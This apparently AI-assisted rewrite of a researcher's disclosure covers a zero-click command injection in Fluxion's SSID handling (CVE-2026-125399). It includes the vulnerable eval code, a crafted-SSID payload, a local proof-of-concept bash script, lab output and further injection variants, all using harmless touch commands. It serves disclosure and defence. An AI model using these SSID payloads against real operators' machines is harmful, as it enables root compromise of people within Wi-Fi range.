Skip to content
RCE Write-up Advanced

CVE-2026–125399 — Zero-Click OS Command Injection PoC & Write-up (Fluxion)

Fluxion parses Wi-Fi SSIDs from scan output and passes them through Bash eval after an incomplete escaping step, so a crafted SSID can break out of the quoting context. An attacker broadcasting a malicious access point could run arbitrary shell commands, typically as root, when a user merely scans for networks.

VulnSVNC Follow

Published on vulnsvnc.medium.com

Cve 2026 125399

VulnSVNC, on vulnsvnc.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Fluxion (FluxionNetwork/fluxion) is a wireless security auditing tool. Before any attack module runs, it needs a list of nearby access points, and it builds that list by parsing the CSV output of airodump-ng. The parsing happens in the function fluxion_get_target() inside fluxion.sh, which is shared infrastructure: every attack module (Handshake Snooper, Captive Portal and the rest) goes through it to produce the candidate-network list shown to the operator.

The ESSID field of that CSV is the network name broadcast by an access point. Under 802.11 it is a free-form byte string of up to 32 bytes, and it is entirely controlled by whoever operates the access point. Fluxion wants to render non-ASCII bytes from that field correctly, so it passes the value through Bash's eval builtin after one sanitisation step.

The write-up documents CVE-2026-125399, an OS command injection in that path. Discovery and vendor notification are both dated 4 November 2026, and the issue is reported as patched in v6.39.

Setup

Item Value
Product Fluxion (FluxionNetwork/fluxion)
Version tested v6.32 (also present in current GitHub master, internal version string FLUXION V6.38)
Affected component fluxion.sh → fluxion_get_target(), lines ~1839-1844
Attack vector Adjacent (802.11 / Wi-Fi radio range)
Privileges required (attacker) None
User interaction None; the victim only runs a routine Wi-Fi scan
Privileges gained Those of the Fluxion process, typically root (needed for monitor mode)
CVSS 3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 8.8 (High)
CVE CVE-2026-125399
Status Patched (v6.39)

On the attacker side the only requirement is an access point that can broadcast a chosen SSID, for example one configured with hostapd. No special radio hardware beyond a standard Wi-Fi AP or adapter is needed, and no other protocol field (BSSID, encryption settings, channel) has to be touched. On the victim side the only precondition is that Fluxion is run normally and performs a scan; Fluxion typically runs as root because monitor mode requires it.

Finding it

The row is held in candidateAPInfo, and field 14 is the ESSID. To make non-ASCII bytes display correctly, the code embeds the ESSID in a Bash ANSI-C-quoted string ($'...') and hands the result to eval. Before that, it applies a single substitution intended to neutralise embedded single quotes.

That substitution only rewrites quote characters that are already in the SSID. It does not consider a backslash that the attacker places immediately before one of those quotes. That gap is the whole bug: the sanitised value can still close the $'...' string early, and everything after the closing quote is parsed by eval as ordinary shell syntax.

Exploitation

Step 1: understand the vulnerable code

The affected lines in fluxion.sh, inside fluxion_get_target(), are approximately 1839-1844:

Bash
local sanitizedESSID=$(  echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14)candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")

candidateAPInfo is one CSV row produced by airodump-ng; cut -d , -f 14 extracts the ESSID field. The substitution ${candidateAPInfo//\'/\\\'} replaces every literal single quote (') with an escaped single quote (\'). The result is placed inside $'...' and passed to eval.

Step 2: work out the bypass

If the SSID begins with the two literal bytes \ (backslash) and ' (single quote), the substitution turns that pair into three characters: \\' (backslash, backslash, quote). Inside Bash's $'...' ANSI-C quoting, \\ is a recognised escape that decodes to a single literal backslash and is consumed as one unit. The quote that follows is therefore no longer escaped and is interpreted as the real closing delimiter of the $'...' string. Anything after it is parsed as shell syntax by eval and executed.

Step 3: build the payload

The proof-of-concept SSID is 21 bytes, well inside the 32-byte 802.11 limit:

Text
\'; touch /tmp/pwned
Byte(s) Purpose
\ Literal backslash immediately before a quote, to defeat the sanitizer
' Combined with the escaped quote produced by the sanitizer, closes the Bash $'...' string early
; Shell command separator, starts a new command inside the eval'd line
touch /tmp/pwned Arbitrary attacker-chosen command (the PoC payload)
# Comments out the remainder of the original eval'd line so it fails safely

The string that reaches eval is of the form eval "echo $'...\\'; touch /tmp/pwned #...'". Bash parses it as: print the truncated SSID text, then separately execute touch /tmp/pwned, then treat the rest of the original line as a comment.

Step 4: broadcast it

Configure an access point under the attacker's control (for example with hostapd) to broadcast the payload from step 3 as its network name. Nothing else about the AP needs to change.

Step 5: wait for a routine scan

On the victim side, run Fluxion normally and perform a routine access-point scan: any attack module, or headless mode via --scan-only. The victim does not need to select, target or otherwise interact with the attacker's access point.

Step 6: the automatic trigger inside Fluxion

After the scan completes, fluxion_get_target() iterates over every discovered access point (fluxion.sh:1783, for candidateAPInfo in "${FluxionTargetCandidates[@]}") to build the on-screen candidate list. For the attacker's entry it reaches the vulnerable eval at line 1844, before the selection menu is ever shown. The routine is invoked unconditionally as part of ordinary target scanning at fluxion.sh:2499 (fluxion_get_target "$targetInterface"). The injected command runs immediately, inheriting Fluxion's privilege level, which is root in the standard configuration required for monitor-mode operations.

Because fluxion_get_target() is shared by every attack module, the choice of attack mode is irrelevant to triggering the issue. Only the act of scanning matters.

Step 7: confirm in the lab

Evidence from an isolated lab environment:

Text
$ ls -la /tmp/pwned-rw-r--r-- 1 root root 0 Nov 1 15:33 /tmp/pwned

The root:root ownership confirms the injected command ran with root privileges.

The write-up also includes the following script:

Bash
#!/usr/bin/env bashset -uPROOF_FILE="/tmp/fluxion-poc-pwned"rm -f "$PROOF_FILE"echo "[*] Fluxion eval-injection PoC (local, isolated, no real Wi-Fi required)"echo "[*] Expected proof file: $PROOF_FILE"MALICIOUS_ESSID=$'\\\x27; touch '"$PROOF_FILE"$' #'build_fake_csv_row() {  local placeholders  placeholders=$(printf 'f%.0s,' {1..13})    echo "${placeholders}${MALICIOUS_ESSID}"}candidateAPInfo="$(build_fake_csv_row)"echo "[*] Simulated airodump-ng CSV row (ESSID field highlighted):"echo "    ...,${MALICIOUS_ESSID}"sanitizedESSID=$(  echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14)echo "[*] After the (incomplete) sanitization step, sanitizedESSID ="echo "    $sanitizedESSID"eval "echo \$'$sanitizedESSID'" > /dev/nullechoif [[ -f "$PROOF_FILE" ]]; then  echo "[+] SUCCESS: eval injection confirmed."  echo "[+] Proof file created: $PROOF_FILE"  ls -la "$PROOF_FILE"else  echo "[-] Proof file not found — payload veya quoting'i kontrol edin."fi

Root cause

The mistake is an incomplete sanitisation step feeding a dynamic evaluation context. The substitution ${candidateAPInfo//\'/\\\'} only rewrites quote characters already present in the SSID; it does not account for a backslash placed immediately before one of those quotes. The sanitised value is then embedded in a Bash ANSI-C-quoted string ($'...') and passed to eval, where the \\ escape is consumed as a single literal backslash, leaving the following quote unescaped and able to close the string.

The classification given is CWE-78 (OS Command Injection) via CWE-95 (Eval Injection), with CWE-20 (Improper Input Validation of untrusted 802.11 data) at the root. The existing defence, escaping single quotes, fails because it reasons about the quote character in isolation rather than about the quoting context the value ends up in.

Impact

  • Full compromise of the operator's machine, typically with root privileges, from any device within Wi-Fi range.
  • No authentication, pairing or prior relationship with the victim's wireless network is required. The rogue AP need not even use a channel or band the victim intends to audit; it only has to be visible during the scan.
  • No victim interaction beyond routine use of the tool. This matters because Fluxion is itself a security-testing tool, typically run by penetration testers and security researchers, who could be compromised while auditing a client's wireless environment.
  • Practical consequences listed include planting persistence or backdoors, credential theft, pivoting into the operator's network, or destructive actions, all at the privilege level Fluxion runs with (commonly root).

Why it is zero-click

The injection fires automatically the moment the attacker's AP is merely physically present among the scanned networks, before any selection screen is shown. The victim never needs to see, select, target or interact with the AP; running Fluxion for its normal purpose and performing a routine scan is sufficient.

Why the payload is structurally hidden

The concealment does not come from visually disguising the SSID. The vulnerable eval runs while fluxion_get_target() is building the candidate list, strictly before that list is displayed, so there is never a moment at which the victim could have noticed the suspicious SSID and made a decision. Within the 32-byte SSID limit an attacker can also keep the printable portion short or mix in non-printable control bytes, so that even if the network list were later surfaced somewhere (logs, a different screen) the SSID would look like an ordinary or garbled string, which complicates retrospective detection.

Fix

The report states the issue is patched in v6.39. It does not describe the patch itself. The direction implied by the root cause is to stop passing attacker-controlled ESSID data through eval at all, or to sanitise it for the exact quoting context it is placed in rather than escaping quote characters in isolation.

Variants to test

  1. Other tools that parse airodump-ng CSV. Look for any code that takes field 14 and feeds it to eval, sh -c, or a generated script. A positive result is a crafted SSID that produces an observable side effect (a file, a DNS lookup, a log line) when the tool scans.
  2. Other shell evaluation contexts reached by the ESSID. The report's secondary finding is one example: in attacks/Captive Portal/attack.sh (approximately lines 1208-1224) the value $FluxionTargetSSID is interpolated unescaped into verifiedCondition:
Bash
local -r verifiedCondition="cowpatty -f \"$FLUXIONWorkspacePath/candidate.txt\" \-r \"$CaptivePortalHashPath\" -s \"$FluxionTargetSSID\" &>> $FLUXIONOutputDevice"

That string is later written into a generated helper script (captive_portal_authenticator.sh) and executed via unquoted expansion (if $verifiedCondition; then). Because Bash performs command substitution for $(...) and backticks even inside double quotes, an SSID containing something like $(touch /tmp/pwned2) is expected to execute when this path runs. This path requires the attacker's network to be actively selected as the Captive Portal target and was not independently reproduced; a positive result is the proof file appearing after that selection. 3. Backslash-before-quote in any escaped-then-evaluated string. Wherever a value is escaped with a quote-only substitution and then placed in $'...', try a leading \' followed by a separator and a harmless command, terminated with #. A positive result is the command running while the surrounding line still completes without error. 4. Length and encoding limits. Confirm how much of the payload survives the 32-byte SSID limit and whether non-printable bytes change how the value is displayed in logs or menus. A positive result is execution with a payload that looks innocuous in any later rendering of the SSID. 5. Privilege inheritance. Check what user the scanning tool runs as in the target deployment. A positive result is the injected command creating a file owned by that same user, as the lab evidence here shows with root:root.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a serious flaw in a free tool called Fluxion. Fluxion is used by security professionals to test how safe Wi-Fi networks are. The flaw lets an attacker run commands on the computer of anyone who uses Fluxion to scan for nearby Wi-Fi networks, without that person doing anything wrong. The attacker only needs to set up a Wi-Fi network with a special name. When Fluxion scans and sees that name, the attacker's command runs automatically, usually with the highest level of permission on the computer (called root). The report lists the issue as patched in version 6.39 of Fluxion. The researcher notified the vendor on 4 November 2026, and the issue has the identifier CVE-2026-125399.

This article explains the flaw from scratch, assuming you know nothing about security. It walks through what Fluxion does, how the flaw works, how an attacker would use it, and what it means for anyone running the tool.

Background: what is Fluxion and why does it scan Wi-Fi?

Fluxion is a program that runs on Linux (an operating system, like Windows or macOS but often used on servers and by technical people). It is used to test the security of Wi-Fi networks.

To do its job, Fluxion first needs to find nearby Wi-Fi networks. It does this by putting the computer's Wi-Fi adapter into a special mode called "monitor mode", which lets it listen to all Wi-Fi traffic in the area, not just connect to one network. This mode usually requires administrator (root) privileges because it gives deep access to the hardware.

Fluxion uses another tool called airodump-ng to do the actual scanning. airodump-ng produces a list of all the Wi-Fi networks it sees, in a format called CSV (comma-separated values, a simple text format where each line is a record and fields are separated by commas). Fluxion then reads that CSV to build a list of networks to show to the user.

The part of Fluxion that reads the CSV is a function called fluxion_get_target(), located in the file fluxion.sh. This function is used by every part of Fluxion that needs a list of networks, so it runs no matter which specific attack or test the user intends to perform.

The vulnerable part: how Fluxion reads network names

Each Wi-Fi network has a name, called an SSID (Service Set Identifier) or ESSID (Extended Service Set Identifier). When you look at available Wi-Fi networks on your phone or laptop, the names you see are SSIDs. The SSID is broadcast by the Wi-Fi access point (the router or device that creates the network) in special messages called beacon frames. Anyone can set up an access point and choose any SSID they like, up to 32 bytes long (a byte is a unit of data; 32 bytes is roughly 32 characters in plain English).

In the CSV produced by airodump-ng, the SSID is stored in the 14th field of each line. Fluxion wants to display these names correctly, even if they contain unusual characters (non-ASCII bytes, which are characters outside the basic English alphabet, like accented letters or symbols). To do that, it takes the SSID value and passes it through a feature of the Bash shell (the command-line interpreter that runs Fluxion) called eval.

eval is a Bash command that takes a string and executes it as if it were typed directly into the shell. It is powerful but dangerous: if the string contains something an attacker controls, the attacker can make the shell run arbitrary commands. This is called "eval injection" (CWE-95).

Before passing the SSID to eval, Fluxion tries to make it safe by escaping single quote characters. In shell scripting, single quotes are used to group text; if a value contains a single quote, it can break out of the grouping. So Fluxion replaces every single quote (') in the SSID with an escaped single quote (\'). This is supposed to prevent the SSID from breaking out of the quoted string.

But this sanitisation is incomplete. It only looks at single quotes; it does not consider a backslash (\) that appears immediately before a single quote. A backslash is an escape character in many contexts: it tells the shell to treat the next character literally. If an attacker puts a backslash before a single quote in the SSID, the sanitisation turns that pair into \\' (two backslashes and a quote). When this is placed inside a special Bash quoting form called ANSI-C quoting ($'...'), the two backslashes are interpreted as a single literal backslash, and the following quote is no longer escaped. That quote then closes the string early, and anything after it is treated as shell commands by eval.

This is the root cause: an incomplete sanitisation step that fails to account for the surrounding quoting context, leading to OS command injection (CWE-78) via eval injection (CWE-95), with improper input validation (CWE-20) of untrusted Wi-Fi data at its core.

The setup: what the attacker needs and what the victim needs

The write-up gives a table of details:

Item Value
Product Fluxion (FluxionNetwork/fluxion)
Version tested v6.32 (also present in current GitHub master, internal version string FLUXION V6.38)
Affected component fluxion.sh → fluxion_get_target(), lines ~1839-1844
Attack vector Adjacent (802.11 / Wi-Fi radio range)
Privileges required (attacker) None
User interaction None; the victim only runs a routine Wi-Fi scan
Privileges gained Those of the Fluxion process, typically root (needed for monitor mode)
CVSS 3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 8.8 (High)
CVE CVE-2026-125399
Status Patched (v6.39)

Let's break that down for a beginner:

  • Attack vector: Adjacent means the attacker must be within Wi-Fi radio range (typically tens of metres). They do not need to be on the same network or have any special access.
  • Privileges required: None means the attacker does not need any credentials or account on the victim's machine.
  • User interaction: None means the victim does not need to click anything, open a file, or visit a website. They just need to run Fluxion normally.
  • Privileges gained: root means the attacker's command runs with the same high-level permissions that Fluxion itself has. Since Fluxion usually needs root to put the Wi-Fi adapter into monitor mode, the attacker effectively gets root on the victim's machine.
  • CVSS 3.1 is a standard scoring system for vulnerabilities. The vector string AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H encodes the details: Attack Vector Adjacent, Attack Complexity Low, Privileges Required None, User Interaction None, Scope Unchanged, Confidentiality High, Integrity High, Availability High. The base score is 8.8, which is "High" severity. In practice, because Fluxion often runs as root, the report says the risk trends toward Critical.
  • CVE-2026-125399 is the unique identifier assigned to this vulnerability in the Common Vulnerabilities and Exposures database, a public catalogue of known security flaws.

On the attacker's side, all they need is a Wi-Fi access point that can broadcast a chosen SSID. They can use a standard Wi-Fi router or a laptop with a Wi-Fi adapter, configured with software like hostapd (a program that turns a computer into a Wi-Fi access point). No special hardware is required. They do not need to change any other settings like the BSSID (the MAC address of the access point), encryption, or channel.

On the victim's side, they just need to run Fluxion as they normally would, which includes performing a scan for nearby networks. That scan is an automatic part of using Fluxion; the victim does not need to select the attacker's network or interact with it in any way.

Finding the flaw: how the researcher spotted it

The line is stored in a variable called candidateAPInfo, and the 14th field is the ESSID. To display non-ASCII characters correctly, the code embeds the ESSID in a Bash ANSI-C quoted string ($'...') and passes it to eval. Before that, it applies a substitution to escape single quotes.

It does not consider a backslash placed immediately before a single quote. That gap is the entire bug: the sanitised value can still close the $'...' string early, and everything after the closing quote is parsed by eval as shell commands.

Exploitation: step by step

Step 1: understand the vulnerable code

The affected lines in fluxion.sh, inside fluxion_get_target(), are approximately 1839-1844:

Bash
local sanitizedESSID=$(  echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14)candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")

This code does several things:

  • candidateAPInfo holds one line from the airodump-ng CSV, which includes the SSID in the 14th field.
  • The expression ${candidateAPInfo//\'/\\\'} is a Bash substitution that replaces every single quote (') with an escaped single quote (\'). This is the sanitisation step.
  • The result is piped to cut -d , -f 14, which extracts the 14th field (the SSID) by splitting on commas.
  • That extracted value is stored in sanitizedESSID.
  • Then candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'") takes the sanitised SSID, wraps it in $'...' (ANSI-C quoting), and passes it to eval to be executed as a shell command. The echo is supposed to print the SSID, but because eval executes the string, any shell metacharacters in the SSID can break out and run additional commands.

Step 2: work out the bypass

The sanitisation replaces a single quote with \'. But if the SSID starts with a backslash followed by a single quote (\'), the substitution turns that pair into \\' (two backslashes and a quote). Inside Bash's $'...' quoting, \\ is an escape sequence that represents a single literal backslash. So the two backslashes are consumed as one, and the following quote is no longer escaped. That quote then acts as the closing delimiter of the $'...' string. Anything after it is treated as shell code by eval and executed.

In simple terms: the attacker uses a backslash to "eat" one of the escape backslashes that the sanitiser adds, leaving the quote unescaped and able to close the string.

Step 3: build the payload

The proof-of-concept SSID is 21 bytes, well inside the 32-byte limit:

Text
\'; touch /tmp/pwned

Here's what each part does:

Byte(s) Purpose
\ A literal backslash, immediately before a quote, to defeat the sanitizer
' Combined with the escaped quote produced by the sanitizer, closes the Bash $'...' string early
; Shell command separator, starts a new command inside the eval'd line
touch /tmp/pwned Arbitrary attacker-chosen command (the PoC payload)
# Comments out the remainder of the original eval'd line so it fails safely

When this SSID is processed, the string that reaches eval is of the form eval "echo $'...\\'; touch /tmp/pwned #...'". Bash parses this as: first, print the (truncated) SSID text; then, separately, execute the command touch /tmp/pwned (which creates an empty file named pwned in the /tmp directory); then treat the rest of the original line as a comment (the # makes the shell ignore the remainder). The touch command is harmless in this proof of concept, but an attacker could replace it with any command, such as one that downloads malware or steals data.

Step 4: broadcast it

The attacker configures their access point (for example, using hostapd) to broadcast the payload from step 3 as its network name. Nothing else about the access point needs to change. The attacker can use a standard Wi-Fi router or a laptop with a Wi-Fi card.

Step 5: wait for a routine scan

On the victim's side, they run Fluxion normally and perform a routine access-point scan. This could be through any attack module in Fluxion, or in headless mode using the --scan-only option. The victim does not need to select, target, or otherwise interact with the attacker's access point. They just need to scan, which is a routine step for anyone using Fluxion.

Step 6: the automatic trigger inside Fluxion

After the scan completes, fluxion_get_target() iterates over every discovered access point (fluxion.sh:1783, for candidateAPInfo in "${FluxionTargetCandidates[@]}") to build the on-screen candidate list. For the attacker's entry, it reaches the vulnerable eval at line 1844, before the selection menu is ever shown. The routine is invoked unconditionally as part of ordinary target scanning at fluxion.sh:2499 (fluxion_get_target "$targetInterface"). The injected command runs immediately, inheriting Fluxion's privilege level, which is root in the standard configuration required for monitor-mode operations.

Because fluxion_get_target() is shared by every attack module, the choice of attack mode is irrelevant to triggering the issue. Only the act of scanning matters.

Step 7: confirm in the lab

Evidence from an isolated lab environment is: The evidence is:

Text
$ ls -la /tmp/pwned-rw-r--r-- 1 root root 0 Nov 1 15:33 /tmp/pwned

This shows that the file /tmp/pwned was created, and its owner and group are root, confirming that the injected command ran with root privileges.

The write-up also includes the following script:

Bash
#!/usr/bin/env bashset -uPROOF_FILE="/tmp/fluxion-poc-pwned"rm -f "$PROOF_FILE"echo "[*] Fluxion eval-injection PoC (local, isolated, no real Wi-Fi required)"echo "[*] Expected proof file: $PROOF_FILE"MALICIOUS_ESSID=$'\\\x27; touch '"$PROOF_FILE"$' #'build_fake_csv_row() {  local placeholders  placeholders=$(printf 'f%.0s,' {1..13})    echo "${placeholders}${MALICIOUS_ESSID}"}candidateAPInfo="$(build_fake_csv_row)"echo "[*] Simulated airodump-ng CSV row (ESSID field highlighted):"echo "    ...,${MALICIOUS_ESSID}"sanitizedESSID=$(  echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14)echo "[*] After the (incomplete) sanitization step, sanitizedESSID ="echo "    $sanitizedESSID"eval "echo \$'$sanitizedESSID'" > /dev/nullechoif [[ -f "$PROOF_FILE" ]]; then  echo "[+] SUCCESS: eval injection confirmed."  echo "[+] Proof file created: $PROOF_FILE"  ls -la "$PROOF_FILE"else  echo "[-] Proof file not found — payload veya quoting'i kontrol edin."fi

This script does the following:

  • It sets a variable PROOF_FILE to /tmp/fluxion-poc-pwned and removes any existing file with that name.
  • It defines MALICIOUS_ESSID as the payload string, using Bash's $'...' quoting to include the backslash and single quote correctly.
  • The function build_fake_csv_row creates a fake CSV row with 13 placeholder fields (each just the letter f followed by a comma) and then appends the malicious ESSID as the 14th field.
  • It assigns that row to candidateAPInfo.
  • It prints the simulated row, highlighting the ESSID.
  • It then applies the same sanitisation and extraction as the real code: sanitizedESSID=$(echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14).
  • It prints the sanitised value.
  • It runs eval "echo \$'$sanitizedESSID'" > /dev/null, which is the vulnerable line. The output is discarded.
  • Finally, it checks if the proof file exists. If it does, it prints a success message and lists the file; otherwise, it prints a failure message.

Root cause

The mistake is an incomplete sanitisation step feeding a dynamic evaluation context. The substitution ${candidateAPInfo//\'/\\\'} only rewrites quote characters already present in the SSID; it does not account for a backslash placed immediately before one of those quotes. The sanitised value is then embedded in a Bash ANSI-C-quoted string ($'...') and passed to eval, where the \\ escape is consumed as a single literal backslash, leaving the following quote unescaped and able to close the string.

The classification given is CWE-78 (OS Command Injection) via CWE-95 (Eval Injection), with CWE-20 (Improper Input Validation of untrusted 802.11 data) at the root. The existing defence, escaping single quotes, fails because it reasons about the quote character in isolation rather than about the quoting context the value ends up in.

Impact

  • Full compromise of the operator's machine, typically with root privileges, from any device within Wi-Fi range.
  • No authentication, pairing or prior relationship with the victim's wireless network is required. The rogue AP need not even use a channel or band the victim intends to audit; it only has to be visible during the scan.
  • No victim interaction beyond routine use of the tool. This matters because Fluxion is itself a security-testing tool, typically run by penetration testers and security researchers, who could be compromised while auditing a client's wireless environment.
  • Practical consequences listed include planting persistence or backdoors, credential theft, pivoting into the operator's network, or destructive actions, all at the privilege level Fluxion runs with (commonly root).

Why it is zero-click

The injection fires automatically the moment the attacker's AP is merely physically present among the scanned networks, before any selection screen is shown. The victim never needs to see, select, target or interact with the AP; running Fluxion for its normal purpose and performing a routine scan is sufficient.

Why the payload is structurally hidden

The concealment does not come from visually disguising the SSID. The vulnerable eval runs while fluxion_get_target() is building the candidate list, strictly before that list is displayed, so there is never a moment at which the victim could have noticed the suspicious SSID and made a decision. Within the 32-byte SSID limit an attacker can also keep the printable portion short or mix in non-printable control bytes, so that even if the network list were later surfaced somewhere (logs, a different screen) the SSID would look like an ordinary or garbled string, which complicates retrospective detection.

Fix

The report states the issue is patched in v6.39. It does not describe the patch itself. The direction implied by the root cause is to stop passing attacker-controlled ESSID data through eval at all, or to sanitise it for the exact quoting context it is placed in rather than escaping quote characters in isolation.

Variants to test

  1. Other tools that parse airodump-ng CSV. Look for any code that takes field 14 and feeds it to eval, sh -c, or a generated script. A positive result is a crafted SSID that produces an observable side effect (a file, a DNS lookup, a log line) when the tool scans.
  2. Other shell evaluation contexts reached by the ESSID. The report's secondary finding is one example: in attacks/Captive Portal/attack.sh (approximately lines 1208-1224) the value $FluxionTargetSSID is interpolated unescaped into verifiedCondition:
Bash
local -r verifiedCondition="cowpatty -f \"$FLUXIONWorkspacePath/candidate.txt\" \-r \"$CaptivePortalHashPath\" -s \"$FluxionTargetSSID\" &>> $FLUXIONOutputDevice"

That string is later written into a generated helper script (captive_portal_authenticator.sh) and executed via unquoted expansion (if $verifiedCondition; then). Because Bash performs command substitution for $(...) and backticks even inside double quotes, an SSID containing something like $(touch /tmp/pwned2) is expected to execute when this path runs. This path requires the attacker's network to be actively selected as the Captive Portal target and was not independently reproduced; a positive result is the proof file appearing after that selection. 3. Backslash-before-quote in any escaped-then-evaluated string. Wherever a value is escaped with a quote-only substitution and then placed in $'...', try a leading \' followed by a separator and a harmless command, terminated with #. A positive result is the command running while the surrounding line still completes without error. 4. Length and encoding limits. Confirm how much of the payload survives the 32-byte SSID limit and whether non-printable bytes change how the value is displayed in logs or menus. A positive result is execution with a payload that looks innocuous in any later rendering of the SSID. 5. Privilege inheritance. Check what user the scanning tool runs as in the target deployment. A positive result is the injected command creating a file owned by that same user, as the lab evidence here shows with root:root.

Glossary

  • Access point (AP): A device that creates a Wi-Fi network, like a router.
  • airodump-ng: A tool that scans for Wi-Fi networks and lists them.
  • ANSI-C quoting: A way in Bash to write strings with special characters using escape sequences, written as $'...'.
  • Backslash (\): A character that escapes the next character, giving it special meaning.
  • Bash: A command-line shell and scripting language used on Linux and macOS.
  • Beacon frame: A message broadcast by a Wi-Fi access point to announce its presence and SSID.
  • BSSID: The MAC address of a Wi-Fi access point.
  • Byte: A unit of data, roughly one character.
  • Command injection: A vulnerability where an attacker can run arbitrary system commands.
  • CSV: Comma-separated values, a simple text format for data.
  • CVE: Common Vulnerabilities and Exposures, a public list of known security flaws.
  • CVSS: Common Vulnerability Scoring System, a standard way to rate severity.
  • CWE: Common Weakness Enumeration, a catalogue of software weakness types.
  • ESSID: Extended Service Set Identifier, another name for SSID.
  • eval: A Bash command that executes a string as shell code.
  • Eval injection: A vulnerability where attacker-controlled data is passed to eval.
  • Fluxion: A wireless security auditing tool.
  • hostapd: Software that turns a computer into a Wi-Fi access point.
  • Monitor mode: A Wi-Fi adapter mode that captures all wireless traffic, not just traffic to one network.
  • Payload: The malicious code or command an attacker wants to run.
  • Proof of concept (PoC): A harmless demonstration that a vulnerability exists.
  • Root: The superuser account on Linux with full system access.
  • Sanitisation: The process of cleaning input to make it safe.
  • Shell: A program that interprets commands, like Bash.
  • SSID: Service Set Identifier, the name of a Wi-Fi network.
  • Zero-click: A vulnerability that requires no action from the victim.

More by VulnSVNC

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.